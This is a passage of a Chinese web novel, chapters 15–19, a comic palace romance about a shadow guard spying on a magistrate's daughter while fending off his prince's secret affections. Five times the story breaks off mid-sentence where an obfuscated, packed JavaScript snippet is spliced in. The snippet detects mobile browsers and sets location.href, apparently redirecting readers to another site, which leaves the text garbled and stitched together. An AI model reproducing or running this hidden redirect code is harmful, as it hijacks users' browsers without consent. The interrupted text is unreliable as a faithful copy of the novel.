“他气就叫他气去!”女娘哭得更大声了,“横竖不遂了他的心意嫁过去他都要生气,我又何必在乎这一时半刻的。” “他那也不是心疼我,无非是怕我有损容颜,折了他在皇帝那的面子!” “你也不必替他来做说客,便是天王老子来了我也不会嫁的!” “若不是……” “若不是我还等着四殿下,这会儿早早的就划花了脸,也让大家都落得个清静!” 屋里头说着说着便又哭天抢地闹了起来,杨妃蹲在阴影里,听着这每天都要上演的闹剧,啃了一口梆硬的饼子,想着大约也就一炷香的功夫里边就能消停睡觉了。 他也能趁着那会儿功夫回府上汇报日常了。 要不是他家王爷非叫他每天都得回去让他见见脸,这种事情都没什么可汇报的,害得他天天得绞尽脑汁地讲一模一样的生活愣是说出来点不同来。 他真的很难啊! 总不能他回到王爷屋里呱唧往地上一跪,然后就吐出来个一如往常吧? 杨妃想到马上就要回到王爷府上,完全是本能地揉了揉眉心。 他家王爷那点小心思已经叫他摸的明明白白,每天不看够了他是不可能放他走的。 为了不尴尬的在那里承受火热目光,杨妃也只能将自己多年修炼出的言简意赅抛弃,东扯西扯地硬将自己说的口干舌燥。 哎。 昨天算是强应付过去了,今天的还没有着落。 他真的快没有招儿了! 四皇子的人什么时候来? 他总不能就这么直接做渣男吧? 再不来甭说那女娘要憋不住了,他也要受不了了! 杨妃从来没有对敌人这么渴望过,要是现在让他瞧见四皇子的影卫,他保证自己比见着自己的亲爹都开心。 所以,他心心念念的四皇子到底在干什么? 四皇子要是什么都不做,对得起他比念叨自己主子都频繁的念叨吗? 他真的要憋不出来日常汇报的内容了。 每日汇报压根就不是人能干出来的事! 15.第 15 章 吹着冷风吃着饼,和夜猫子大眼对小眼,杨妃抬头看了眼毫无特色的天色,浑身上下的怨气比鬼都重。 他一腔热情终究被辜负了,四皇子不堪托付! 他恨恨地磨了磨牙,瞥了一眼熄了灯的屋子,哪怕那女娘已经将自己整个人都埋进了被子里,那断断续续的压抑呜咽声照样能传到他的耳朵里。 从圣旨发出到今天虽说没有半个月也差不了多少了,这女娘从头抗争到尾也算是有毅力,但她钟爱着的那个男人可就不一样了。 从始至终莫说人影了,连一句话、半封信都没有,白白辜负了女娘的一番情意。 杨妃真的不理解她到底看上四皇子什么了? 她的爱他也算是看出来了,四皇子的爱在哪儿呢? 但凡四皇子有那么一丁点爱意,他也不至于要绞尽脑汁地编出话来哄着王爷! 四皇子知道不说谎话的编故事对于他们这种影卫来说有多难吗! 杨妃的目光从期待到哀怨再到心如死灰,一直等到了屋里头彻底安静下来,那女娘生活规律的睡着了他才准备动身回王府述职。 他都等到了最后一刻,和那个男人有关的东西还是没出现一点! 四皇子他不值得! 逃无可逃的杨妃只能拖着沉重的步伐轻盈地穿梭在京城中做一个兢兢业业的影卫。 以他现在这个情况,说不定有打更的见着了他还以为是见了鬼呢。 都赖他家王爷,平静成这样子有什么可汇报的? 他都已经将那女娘的日常生活倒背如流了,甚至昨天他汇报的时候还能分出心来数一数他家主子在心声里到底说了多少不能见人的话。 比他多说了足足有两倍! 杨妃都怀疑他俩到底谁才是述职的那个,这一天天的两地奔波静听他家主子诉说他那幻想出来的相思之苦了。 什么一日不见如隔三秋他都听腻了,还有那些王爷夸赞他的话语,从最初听到时的难以置信,再到认真思考逐一和自己对应,以及现在的波澜不惊,只有他自己知道他到底经历了什么。 现在他百分百确认王爷眼中的他实际上的他压根儿就不是一个人。 什么所谓的温和贴心、心心相印、常常挂念全都是王爷自己加工出来的! 温和贴心,他身为影卫难道还敢对王爷甩脸色吗? 心心相印,一个优秀的属下当然要随时体察上意,时刻准备成为顶头上司的头号贴心小棉袄。 常常挂念,那是想要他家王爷命的人比屋檐下的燕子都多,他当然两个眼珠子不寸地盯着他,全都是生怕一时分心王爷就着了道一命呜呼会被拉下去陪葬啊! 杨妃对天发誓,他的所作所为全都在职责范围之内,没有一丁点儿逾矩! 鬼知道王爷打哪儿来的独家解释。 他看着眼前王府门口的两个红灯笼脚步一顿。 这天天生活,每一个犄角旮旯都曾经躲藏过的王府,怎么现在看着这高墙莫名有种诡异恐怖的感觉呢? 翻过了王府的墙,对一众暗中守卫的同僚们表明真身,行至王爷门前,杨妃到底忍不住搓了搓自己的胳膊。 这灯火通明的王府就让他感觉有点阴森。 一入宫门深似海。 杨妃打了个寒颤,不通诗词的脑子里闪过了这样一句话,和现在的情景再贴合不过。 这诺大一个王府只要有王爷在,对他来说和皇宫一样暗流难测。 待到王爷收心日,才是他能安睡时。 像过去的每一天一样,杨妃进了屋,顶着王爷炸锅似的心声开始把今天搜肠刮肚凑出来的长篇大论讲给他的王爷听,包括但不限于女娘今日和侍女如何报怨、大理寺卿和她又如何吵架、大理寺卿夫人如何当的说客、今日又收了人送来的添妆。 以及那女娘今天换了什么花样儿的新衣服、又摔碎了几样精致首饰、还有今日用膳时被她狠狠砸在地上的那盅佛跳墙。 为了凑字杨妃甚至还特意说了下那佛跳墙的用料,甚至为了遮掩不让自己的意图那么明显,他东扯西扯地合理怀疑了一下这样珍稀的食材会不会是贿赂。 哪怕是干惯了暗中搜集人罪名,也没少帮主子构陷政敌,他说这话时仍忍不住心虚,只是面上控制的好没表现出来罢了。 倒是头顶上今日守夜的兰苕呼吸乱了一瞬间被他逮了个正着。 哼。 且等他做完了这一桩有的是功夫给兰苕添堵。 不过现在,他只能忍受主子喋喋不休的心声。 杨妃又破防了。 他原以为经过一段时间的锤炼无论王爷心声里再说出什么样惊天动地的话他都能平淡处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229432|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之。 可王爷照旧超过了他能接受的上限! 不愧是天潢贵胄,方方面面都不是他这等人能料得到的! 【真是不该让他去大理寺卿家监视那女人,瞧瞧这上心的。】 【往常还只是关注一下那女人平常说些什么做些什么,头些日子关注起她的衣裳首饰就已经很让本王诧异了。】 【一直不曾说他,今日倒好,竟还关注起她吃什么了!】 【要是再让他多在大理寺卿家呆上段时间,怕不是要追到人家房里去听人家的梦话了!】 …… 王爷的目光像针一样刺在杨妃的身上,心声里的醋味儿呛得他鼻子发痒。 这都是什么和什么啊? 王爷控诉的桩桩件件还不都是被他非得每日汇报逼的? 想他曾经那么多次汇报哪一次不是说的越少越好,何曾有过一句废话! 王爷你没有心! 可恶啊! 而且哪怕他是个没少听别人说梦话的影卫,那也没必要追到人家房里去听啊! 王爷这是不相信他的耳力啊! 杨妃心乱如麻,王爷自己的脑补控诉固然令他心烦,对他能力的不信任却更让他心焦。 这怎么行? 说一个影卫没有能力和说一个男人不行有什么不一样? 能力才是影卫最好的嫁……本钱! 王爷这一句话当场就令杨妃萎了,他脑子里反复回想着王爷认为他不行,恨不得当场给王爷展示一下他的耳力有多好。 心累。 跪在地上纹丝不动的杨妃感觉自己眼睛有些干涩,不愧是王爷,一句话就能让他感到堪比昼夜劳作不休般的疲惫。 不行,他必须得找个机会给自己正名。 为什么比清白危机来得更早的竟然是能力危机啊…… 杨妃感受到了严重的屈辱,王爷也是没有缺席的继续对他捅刀。 【罢了罢了,姑且算是他为了本王的命令吧,谁叫是本王派他去的呢?】 【只有一点真是让人不爽……】 【这小没良心的将那女娘在哪道菜上多落了两筷子都记得清清楚楚,怎么不去记记本王爱吃什么?】 【什么时候他也能长点心,学学人家身边贴心的,亲手给本王做点珍馐尝鲜?】 16.第 16 章 他家王爷真是越来越不像话了。 听见了王爷祈愿的杨妃只能庆幸他家王爷是在心里说的,不然他都不知道怎么回了。 他是个影卫、影卫! 不是王妃更不是小厮! 且不说他除了出任务时在野外会烤些鱼啊兔啊的野味应急吃,那什么珍馐佳肴那是根本不会做的。 就单单说他又要练武又要上工,一天有的是事情要忙,十二个时辰就没一点空闲,连睡觉吃饭都得插空着来提着精神,哪里还有空给主子洗手做羹汤啊? 这可真是太为难他了。 杨妃无奈极了,他家王爷的异想天开一日胜过一日,现在更是漫天许愿,活把他当成了寺庙里许愿池里的王八了。 他没有一丁点儿点亮厨艺技能的想法,指望他亲手做出珍馐佳肴那是不可能了,王爷许的另一个愿望倒是很有可能实现。 那得看他家王爷怎么表现。 想让他记得主子天天吃什么那还不简单? 王爷只要收了心,干掉一众竞争者登基做了皇帝,到时候甭说他天天吃的什么样的菜又吃了几口,杨妃保管连每天走了几步路都数的明明白白。 他绝对比太监都称职。 王爷得自己争气啊,想要的愿望得靠自己实现啊! 杨妃的心态早就被王爷训练出来了,这会儿听着心声心情平稳的很,可着劲儿地用吐槽主子来填满这一段被目光紧紧盯着的时间。 他对卧房的安静习以为常,王爷却在安静中逐渐破防。 【该死的,到底是谁定下的影卫规矩,怎么没问过本王同不同意?】 【直视本王是不合规矩,让本王看后脑勺就合规矩了?】 【可恶啊!本王不过是想看看怎么就这么难!】 【非得逼着本王上手段。】 嗯? 上手段? 一听见这三个字,杨妃如临大敌,当时便有些头晕,借着身形的遮挡捏上了自己的内关穴,这才止住了晕眩打起精神。 他板住了脸给自己做心理建设,绷紧了脊背等着他家王爷出招,务必保证待会无论发生什么都要控制住面无表情。 不是他小题大做,而是他家王爷的手段实在出乎意料,每一次都攻击在他的薄弱处。 上回汇报的时候王爷心里就想着要上些手段,等他汇报完,王爷就盯着他直勾勾的看,然后又叫他抬起头来,上下扫视,最后将盘子里的点心捏在手里,说着要赏他办事得力。 听上去完全是做主子的体恤下属,一副施恩的样子,可他却从王爷的动作中看出了他家王爷的小心思。 哪家的主子赏赐下属吃食的时候还要亲自向前递着手、倾着身,一副要亲自送到人嘴里的架势? 那一刹那间杨妃只觉得晴天霹雳,身体比脑子快想都没想就直接五体投地,险些用了内力去喊“为主人效忠是分内之事,当不得主子赏赐”这才将危险掐灭在苗头。 等他额头抵着地板脑子回了魂的时候,汗水已经将手背浸湿了。 他在刀光剑影间紧张的汗水加一块都没面对王爷时流的多,这事儿要再多来几次,他估计就得脱水而亡了。 更别提那次王爷收了手后遗憾的心声了。 他心中满满的都是后怕。 【真是天不与我,这样的大好机会怎么就没了?】 【想拉近点距离怎么就这么难呢?便是想和那些个官宦子弟拉近关系都比这个轻巧得多!】 【这糕点我尝过了味道不错,还想喂他也尝尝呢。】 就这两句话,就像紧箍咒一样缠在杨妃的心里,只要周围一安静、他一闭眼睛,这几句话就转着圈儿的在他眼前脑海中浮现,整整两日他都没睡一会儿,内力流转都险些岔了气。 惊悸的余韵他还没能完全排解,王爷却又想了新招来折磨他了。 怎么王爷在这方面的灵感如此层出不穷呢? 杨妃只觉得头皮发麻,整个人像是被什么猛兽盯上了,如临大敌地竖着耳朵,不敢漏过一个字。 心声好啊,可太妙了! 他可得根据心声提早做些打算,那房梁上可还蹲着个兰苕呢! 王爷全然不知杨妃把他当成了防备对象,他看了一眼身边的茶壶茶杯,抬手倒了一杯热茶,这才又将目光放到杨妃身上,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233853|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气温和。 “今年新贡的铁罗汉,赏你了。” 【还得是本王对你好吧,你喋喋不休地讲了那女娘那么多话,本王却还是怜惜你口渴。】 【那女娘能做到吗?】 这又是从哪里来的比较? 杨妃完全不能理解,但这茶他是一口都不会喝的。 他家王爷赏下来的可不是茶,那是他清白的催命符。 他敢以自己的项上人头发誓,他要是喝了王爷这口茶,王爷可不得把剩下那一整壶都供起来,等到见不着他的时候天天对着茶壶睹水思人? 他不许—— 但王爷有命,他又不好直接回绝,抗命不遵可不是个小罪名。 杨妃干咽了口唾沫,心跳加速血压直线上升,脑子却灵光一闪。 “王爷恕罪。”他将头深深埋下去,“属下还要回大理寺卿府上,贡茶香味浓郁余韵悠长,恐沾染了气息误了主子大事。” “请主子责罚。” 这话说完,杨妃自己都觉着心虚,咣地又给王爷磕了一个。 夭寿了,多少年言听计从,这还是他头一回揣着大义暗地里抵抗王爷的命令,这会儿紧张的心脏都要蹦出嗓子眼儿了。 他一时又有点后悔自己冲动,这要是他没听过王爷心声的时候,也不会觉得王爷的行为有什么不妥,这口茶早都吞了。 偏他现在什么都明白,做什么都忍不住思量。 照这个趋势下去,他这个影卫真是当的越来越不称职了,教头见着了怕不是会将他吊起来示众。 他正心虚着,王爷端起茶杯嗅了一下,反手将茶杯搁在桌子上,蹙着眉,脸色便不大好。 房梁上的兰苕不知道杨妃抽什么风,过后洗个澡不就行了,也用不了多长时间,何必惹得王爷变脸,这要是王爷说让他将杨妃拉下去挨鞭子,他得使多大的力好呢? 杨妃听不着兰苕的心声,不知道还有人惦记着怎么打他,他正专心地听着王爷的心声,头脑一片空白,头一回庆幸自己拒绝王爷拒绝的快。 瞧瞧他家王爷心里到底在想些什么! 能不能不要再惦记他的嘴了? 17.第 17 章 【真可惜,是这杯子无福。】 【若是能入了他的口,就能做本王的爱物了。】 【日后品起茶来,更是多了几分风味。】 王爷心里遗憾叹了口气,杨妃听得眼皮直跳。 他家王爷被禁闭在府内天天不能就想着这些阴招吧? 得回是他脑子转得快想法子拒了,这要是他一时大意喝了,他家王爷不会以后喝茶都换了杯子吧? 一想到两个人共用一个茶杯,杨妃越发觉得古怪,连这种日常用具都带上了些私密色彩。 天底下也只有王爷让他觉得先后用同一个杯子很冒犯了。 又躲过一劫。 王爷的不爽大多是冲着自己没能成功得逞,看上去并没有联想到他不遵从的举动。 恋爱脑也不是没有好处的,杨妃估摸着王爷的态度,觉得以后能得寸进尺一点,再遇到这种情况可以试着找一些合理借口推据,绝不让王爷成功! “罢了。”王爷果然没有计较,他眼不见心不烦地将那杯茶洒在地上另倒了一杯,品味了一下恢复了心情。 【以后有的是机会,他永远是本王的人,还能跑了不成?】 没了内心里那些小想法,王爷也总算开始办起正事。 “母后有旨,三日后在熙春园办春花宴赏花作诗,到时候京中的公子贵女都会前往赴宴,本王与那女娘都会前去。” “四弟也会出席。” 王爷擦去着茶杯边缘的水渍,瞥了一眼杨妃的后脑勺又遗憾的挪开。 “你……可明白?” “是。” 杨妃懂。 不过是紧盯着那女娘,防备着四皇子趁宴会上人多遮掩耳目,趁机和她互通消息。 这个他熟的很,事情终于又到回了他擅长的领域。 这春花宴每年都要在皇家园林中办上一回,既是彰显天家恩德,也是给这些公子贵女们相看展示的好时机。 每年都少不了出几个才女佳人,身价自然也是水涨船高,堪称京中第一包装舞台。 不过杨妃不觉得四皇子会亲自出面,他可得盯好了那些往女娘身边凑的脸生侍女。 那春花宴虽说都在同一个园子里,可天家园林占地不小,男宾女宾更是不在同一处游览,便是最后的作诗环节,中间也是被屏风挡得严严实实。 皇子们可做不出来扒着屏风看女眷的举动,但宴席上的侍女却可大做文章,传个消息递几句话再简单不过。 杨妃心中迅速有了章程,得了王爷应允,内力全开脚步轻快地迅速离开了是非之地。 出了王爷的门,他又是自信从容的一条好汉。 杨妃重回大理寺卿府的时候正碰上巡逻的护院,他悄悄融进阴影之中,小心躲过灯笼的光辉,藏在他们视野盲区,听着他们走远了,才又翻回女娘的院落守着。 今日汇报的时间长了些,他仔细观察着女娘的窗口和门前,将它们和自己离开时的样子对比,确定没有发现人经过的痕迹才松了口气。 每日汇报回来之后总得有上这么一遭,若是离开的时间长了,就更令他担忧。 夜晚是因为在其他人家出没的高峰期,杨妃也很怕他和四皇子的人刚好错开。 那才是真的白干。 把自己团成了一团,杨妃趁着这个时间闭目休息,等天亮了,才是他得时刻警惕的时候。 有时候他真的觉得在外执行任务的警卫,尤其是这种在其他目的监听探查的影卫很像是一种动物。 比如说蟑螂。 他们总是未经主人家允许就悄悄潜入进来,白日里总躲藏在暗处不露头,只默默窥视着主人家的一举一动,等到了晚上则悄悄探出来进食,一听到人的动静便又藏起来。 偶尔不慎被主人家看到,要么听到主人家的尖叫声迅速离开,要么则是直截了当地扑过去来个你死我亡。 无论怎么想都很像啊…… 阴魂不散地藏在府上的阴影里之类的。 大理寺卿府上的女娘伴随着太阳升起又开始了她极为规律的一天。 不过今天还是很有变化的。 杨妃看着大理寺卿夫人带着宫里赏赐下的首饰走过来,欢天喜地地指挥着丫鬟们给女儿装扮,那笑容就没停过,嘱咐她在春花宴上多多表现给府上的女眷争光,给王爷留下个好印象。 他一听到王爷从大理寺卿夫人嘴里说出来就觉得不妙,二话不说直接将自己把耳朵堵上了一半。 果然下一刻屋里又闹腾了起来,又是一阵“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233854|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁爱嫁谁嫁”、“不若我给父亲绣一件嫁衣嫁过去算了”之类的哭闹。 到底是闺阁女儿,连骂人都没什么新花样,他听都听厌了。 随着钗环叮叮当当落地,大理寺卿夫人毫不意外地被气走,反倒是那女娘没像平常一样继续哭诉很快安静了下来。 这倒有些奇了。 反常引起了杨妃的注意,他默默换了个能观察到房屋内的位置,视线锐利的落在那些散落的钗环上。 这些宫中赏赐下来的钗环里不会藏着什么信息吧? 他眯着眼仔细打量,但那些钗环本身就没有多粗,一时间他也看不清上面是不是写了什么字。 但他想着四皇子的母妃也是曾经协理过公务的,想在首饰上做些手脚倒也不难,还是得注意着,拿在手上仔细检查过才放心。 尤其是那女娘看着钗环止住啼哭转而笑起来的诡异样子,他不仔细看过一遍怎能放心! 杨妃越看越觉得钗环上大有玄机,那女娘也是将她刚才浑不在意的首饰拾了起来,抚摸着簪子上的花样痴痴地笑,还将镜子拿过来亲自戴在头上左右打量,一样不落的挨个试过。 浑像是中了邪。 正日头下他打了个寒颤,愣是看着那女娘把所有首饰都摆出来,搭配了好几版尤不满意,等的他抓心挠肝的实在受不了了,见她到了往日里中午小憩的时候还没有睡的意思,默默往屋里吹了两口迷烟助她午睡。 王府的药都是好药,迷药见效的也快,没过一会儿功夫那女娘自觉困顿便去睡了,侍女强撑着打了两个哈欠也蹲在床边睡着了。 杨妃立刻走了进去把那些首饰逐样拿在手里摩挲检查。 没有刻字、没有空心内胆、没有任何玄机! 就是一些除了昂贵好看之外没有任何特别之处的首饰啊…… 有什么可开心的像中邪似的? 杨妃狐疑地瞥了一眼遮住床的帷幔,完全不懂这个准王妃脑子里在想些什么。 他真是不懂女儿家的心态,但他觉得自己得更紧盯着她。 直觉告诉他这女娘必是在琢磨着些什么,大概率和四皇子相关,保不齐就要在春花宴上搞事。 他可不能在女娘身上翻了车,误了自己头号影卫的名头! 18.第 18 章 实在没看出来什么名堂,杨妃又将那些钗环首饰逐样放回原位。 宫中赏赐给儿媳妇的礼物也够用心的,连钗环样式都是鸿雁的模样,兼有忠贞长久之意,不过看上去就没有鸾凤的样式好看了。 反正杨妃是欣赏不来的。 顺手将房间内其它箱匣暗格搜了个遍,他还找到了她亲手绣的鸳鸯帕子。 看样子是打算送给四皇子的,只是还没送出去,杨妃便也将帕子放回了原位。 这东西也得看着点,要是在她送帕子的时候抓了个正着也是板上钉钉的证据。 又多了一个完成任务的方向。 杨妃眯了眯眼,只可惜这女娘没在帕子上留下落款,若是绣上了四皇子的名讳,他现在就可以交差了。 这件事得记得告诉主子,只要主子想,这东西出现在哪儿都有可能。 自觉自己的任务无论接下来怎么发展都有了着落,杨妃心里有底气的多,他靠近了地上熟睡的侍女,仔细打量着她的样貌细节,为接下来的春花宴做准备。 春花宴上有的是天潢贵胄,明面上的护卫就不少,暗中护卫皇子们的影卫也少不了,他要监视着四皇子和这女娘就必得和这些影卫避开。 想要像现在这样暗中躲避观察风险实在太大。 也不知道怎么的,他们这些影卫在选择隐蔽地点的时候总是莫名的有默契,常常会看上同一棵树或者其他用来隐蔽的假山。 杨妃永远忘不了上回秋猎的时候他暗中保护王爷安危,结果到了猎场之后在方便驰援的位置上找了一棵茂密的大树,才翻身上去就和其他皇子的影卫大眼对小眼,害得他一惊之下险些骑那影卫身上。 谁懂最后一棵树上蹲了五六个人是什么感觉啊? 反正那一次秋猎就在影卫们彼此僵持装死中平静的度过了。 他也是吸取经验教训,打那之后但凡会遇到这种皇子们集体出现的场合都尽量不选择暗中蹲着。 杨妃也很无奈,但凡皇子多一点,他们都得提前抢位。 这回的春花宴可不像是上回的秋猎,暗中跟着皇子光明正大,他这回可主要出没在女宾那侧,是个人都知道非同寻常必有图谋。 他总不能推脱到王爷身上,说王爷让他来保护王妃的吧? 这满京城谁人不知道王爷为了拒婚甚至不惜和陛下呛声,甚至被直接下旨禁足呢? 他要真拿这个当借口,那可真是此地无银三百两了。 为了给自己省去麻烦完成王爷交代的任务,他最好的选择就是易容,易容成女娘的贴身侍女秋荷,光明正大地一起进去。 易容不难,相差的体型也有缩骨能搞定,演技他更是出类拔萃,这么多天来把这一对主仆的行为模式摸得明明白白,包管秋荷的亲娘来了都认不出来。 趁着这会儿她们被迷晕了,杨妃避开了人正好去准备人皮面具和缓解缩骨用的药,只待宴会的头一天晚上偷梁换柱。 他有的是耐心等待,可这女娘却期待万分度日如年。 大理寺卿家一定贪墨了不少。 杨妃细数着这女娘有多少件做工精致的衣衫,又记着她换了多少套价值连城的蜀锦,就连进贡的布匹,她也有不少件做成的衣裳。 钗环首饰更是数不胜数,各式的花样看得杨妃眼花缭乱。 这女娘千挑万选,最终还是选择了宫里赏赐下来的新首饰。 也是。 这可是彰显天家恩德的宴会,不带着宫里赏赐的首饰免不了要落人口舌。 不过杨妃听着,屋里的两个人好像没有这方面的意思。 “小姐带着这钗真是美极了。”秋荷抚摸着女娘的头发,看看还有什么旁的首饰能相配的,“这钗的样式正配了小姐的名讳,也是小姐最爱的鸟儿呢。” 秋荷仔细看着镜中小姐的容貌,怎么看怎么觉得荣冠京城,夸赞的话更是一句接一句不重样的,那女娘听了脸颊迅速漫上一抹嫣红,嗔怪地拍了一下秋荷的手。 “多嘴!”她扶上发簪摸了又摸,露出一抹甜蜜的笑容,“平日里叫你多读些书你不听,这大雁哪里是鹄了,是鸿才对,和我的名字不相干。” “选它也不过是我喜欢这鸟,戴上了便觉心中欢喜,你休要胡说,仔细了你的皮。” “是是是,小姐说的是。” 杨妃听着她俩的对话,挑眉看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248196|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女娘娇羞的样子,心想单独是一个自己喜欢的花样也不至于笑得这么心花怒放吧? 怕不是她曾和四皇子说过她爱大雁,这次见着了宫里的赏赐就有,以为是四皇子特意放的吧? 这可真是…… 她绝对是想多了。 这些个赏赐无非是主子们张嘴吩咐下去,办事儿的便按照规格准备,除非是极受宠的,都没什么特别的赏赐。 杨妃可不觉得四皇子能在这种皇帝送给儿媳的礼物中添上自己想添的物件儿,况且大雁本就是聘礼之一,做成首饰形状又新奇,送过来再正常不过。 要真是四皇子送的,那可就太诡异了,站在他的角度来看,那岂不是“我看上的人要嫁给和我你死我活的兄弟,而我却只能含笑送上贺礼”? 杨妃沉默了一瞬间,有一种王爷要被绿了的诡异感觉,心里也觉得奇怪。 他把这件事记挂着,连同今天发生的特殊事儿一并汇报给了王爷。 他家王爷听了之后沉思了一会儿,忽然笑了起来面带怒意重重拍了一下桌子。 杨妃不明所以,只低着头一声不吭,他听着他家王爷像是自言自语。 “这可真是好极了。” “父皇莫不是用这些大雁警告那女娘要懂得忠贞之意。” “他定是早知道大理寺卿家的女儿和四皇子勾搭不清了!” “可大理寺卿的表兄又是北州节度使,四弟的母家舅舅是长宁节度使,他眼见着这两个手握重兵的人有联合起来的趋势,生怕他们成了亲家合起来控制了北方的半壁江山。” “这才直接下旨赐婚棒打鸳鸯。” “他若是只想拆散那两个便罢了,却偏拿我出来挡枪!” “让我成了破坏四弟计划的罪魁祸首,他倒好隔岸观火!” 哼。 早晚将他们两个一并干掉,等他登位大宝,就将他父皇和四弟凑对儿,也叫他乱点一回鸳鸯谱! 王爷越想越气,强忍着压下怒气,想到了让他暂时解开禁足参加春花宴的圣旨,又是一阵气血翻涌。 可真是他的好父皇啊,牛不吃水强按头,他别想让这个春花宴消消停停的办! 19.第 19 章 “他别想轻易得逞!” 王爷冷声嗤笑,谁的爹谁了解,他的好父皇不就是想让那女娘在宴会上给他留个好印象,好让他看上去中意那女娘,更引得四弟火大吗? 他做梦! 打的都是一副好算盘,但往他府里塞人可不是那么容易的! 他早早就决定好了王府另一位主人是谁,绝不可能轻易妥协。 这一刹那,王爷的脑子转得飞快,什么将人推下水、泼茶换衣服、引错路到男宾区都想了个遍,可每一样他都不满意。 对付那女娘下手再简单不过,可说到底那女娘也不想嫁给他,根本不是罪魁祸首,他要是这么做未免太过下作,叫他那些自诩君子的幕僚知道了他堂堂皇子用这种不入流的手段,以后哪还能有人为他效力? 况且这样也实在不够报复,根本不能让他解气,他就算动不了陛下,也得给四皇子点儿颜色瞧瞧吧? 王爷眼神闪了闪,心中有了方案,心情便也好了一些。 除了要报复一下亲爱的弟弟,他也要让父皇乱点的鸳鸯谱彻底完蛋。 他偏要让四弟和她凑对! 只要抓到四皇子和那女娘私相授受的铁证,最好还将他们直接捅到人前,到时候他家父皇必然忌惮这节度使的兵权不便赐死那女娘,只能捏着鼻子刺下这桩婚事。 他还能成人之美促成一对有情的鸳鸯,可谓是三方得利,十足十的好事。 一想到父皇心中百般不愿脸上却还得慈祥和蔼,又得大出血筹办婚礼,王爷就想笑。 谁叫他险些误了自己多年筹划! 而且若是他四弟真的和那女娘成了好事,自然就会变成父皇的眼中钉,平日里大小事都会刺激到他那敏感的神经,到时候都用不着他出手对付,父皇自然寝食难安,不解决后患不会罢休。 前途一片大好,王爷心里松快,缓缓吐出一口郁气。 政事有了眉目,正事什么时候能有眉目? 想到这王爷哀怨的看了一眼一言不发的杨妃,暗骂他是个榆木脑袋。 杨妃听不见王爷心里想的那些个正事,正安静的等着王爷发泄完好领了新任务离开,却不曾想他家王爷的情感心声突然响了起来。 ??? 他家王爷的心情还真是难以揣测,刚才还愤怒的拍桌子呢,这会儿又美上了。 【这感情之事向来得双向奔赴,偏到了自己这里,只有一个人拼命努力。】 【这个榆木脑袋什么时候能开窍?】 【可真是愁死本王了。】 【看在本王这么努力为他保住王府里“女主人”的份上,老天爷也开开眼,让我见着点成效吧。】 榆木疙瘩早都习惯了王爷的抱怨,但听见他说女主人,还是心头一跳。 真不愧是他家王爷,从来与人不同,竟还想着将他一个男人立为王妃。 这样的殊荣他可受不住啊! 王爷刚才到底想了什么正经事? 怎么就突然跳跃到女主人了? 杨妃百思不得其解,承受着王爷要将人烧死的目光,听到他喉咙里的欲发音反倒平静了下来。 他家王爷也就心里花花,什么虎狼之词想的肆无忌惮,但从来嘴上都是正经的,此刻他倒也不必担忧。 感谢王爷将维持皇族形象贯彻到底! 果不其然,他家王爷心里抱怨,嘴上却在说正事。 “春花宴旁的事我自有安排,你且看着那女娘就是,准备的如何了?” 王爷是很信任杨妃的,但他们今天见面的时间还短,他才又发了一通火气,自觉没给杨妃留下一段甜蜜时光,又舍不得让人离开,就开始找话题。 被抽查到的杨妃心知道了自己表现能力的时候,挺直了脊背,干脆利落地将自己计划和盘托出,不觉得有什么纰漏,但谦虚是种态度,“请主子示下。” “易容成侍女?” 王爷有点惊讶,他打量了一下杨妃的身形,虽说是腰细腿长的称不上魁梧,但也有的是肌肉,和娇小天差地别,真的会像吗? 易容缩骨他知道的,但还没见过杨妃装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 